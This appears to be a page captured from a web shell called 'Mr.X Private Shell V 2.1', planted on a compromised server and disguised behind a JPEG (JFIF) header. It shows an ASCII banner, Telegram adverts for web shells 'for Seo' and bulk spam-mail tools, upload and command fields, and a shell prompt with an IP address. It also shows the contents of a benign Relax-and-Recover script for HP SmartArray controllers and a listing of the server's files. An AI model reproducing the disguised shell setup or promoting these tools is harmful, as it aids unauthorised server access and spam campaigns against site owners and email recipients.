����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
# Code to recreate HP SmartArray controllers.

define_HPSSACLI  # Call function to find proper Smart Storage Administrator CLI command - define $HPSSACLI var

create_smartarray() {
    local sa slotnr junk
    read sa slotnr junk < <(grep "^smartarray ${1#sma:} " "$LAYOUT_FILE")
    cat <<EOF >>"$LAYOUT_CODE"
LogPrint "Clearing HP SmartArray controller $slotnr"
if ! $HPSSACLI ctrl slot=$slotnr delete forced >/dev/null; then
    Log "Failed to clear HP SmartArray controller $slotnr, this is not necessarily fatal."
fi
EOF
}

create_logicaldrive() {
    local ld disk path options
    read ld disk path options < <(grep "^logicaldrive ${1#ld:} " "$LAYOUT_FILE")

    local slotnr=${path%%|*}
    local arrayname=${path%|*}
    arrayname=${arrayname#*|}

    local raid="" drives="" spares="" sectors="" stripesize=""
    local option key value
    for option in $options ; do
        key=${option%=*}
        value=${option#*=}

        if [ -z "$value" ] ; then
            continue
        fi

        case $key in
            raid)
                raid=" raid=$value"
                ;;
            drives)
                drives=" drives=${value%,}"
                ;;
            spares)
                if [ -n "$value" ] ; then
                    spares=" spares=${value%,}"
                fi
                ;;
            sectors)
                sectors=" sectors=$value"
                ;;
            stripesize)
                stripesize=" stripesize=$value"
        esac
    done
    echo "LogPrint \"Recreating HP SmartArray controller $slotnr|$arrayname\"" >> "$LAYOUT_CODE"
    echo "$HPSSACLI ctrl slot=$slotnr create type=ld ${drives}${raid}${sectors}${stripesize}" >> "$LAYOUT_CODE"
    if [ -n "$spares" ] ; then
        echo "$HPSSACLI ctrl slot=$slotnr array $arrayname add${spares}" >> "$LAYOUT_CODE"
    fi
cat >> "$LAYOUT_CODE" <<EOF
LogPrint "Configuration restored successfully, reloading CCISS driver..."
sleep 2
rmmod cciss
sleep 2
modprobe cciss
sleep 2

# Make sure device nodes are visible (eg. in RHEL4)
my_udevtrigger
my_udevsettle
EOF
    echo "" >> "$LAYOUT_CODE"
}

Filemanager

Name Type Size Permission Actions
100_include_partition_code.sh File 16.2 KB 0644
110_include_lvm_code.sh File 10.99 KB 0644
120_include_raid_code.sh File 5.3 KB 0644
131_include_filesystem_code.sh File 17.69 KB 0644
133_include_mount_filesystem_code.sh File 11.44 KB 0644
135_include_btrfs_subvolumes_generic_code.sh File 7.24 KB 0644
136_include_btrfs_subvolumes_SLES_code.sh File 29.37 KB 0644
140_include_swap_code.sh File 766 B 0644
150_include_drbd_code.sh File 2.3 KB 0644
160_include_luks_code.sh File 7.83 KB 0644
170_include_hpraid_code.sh File 2.06 KB 0644
180_include_opaldisk_code.sh File 2.89 KB 0644
210_load_multipath.sh File 6.3 KB 0644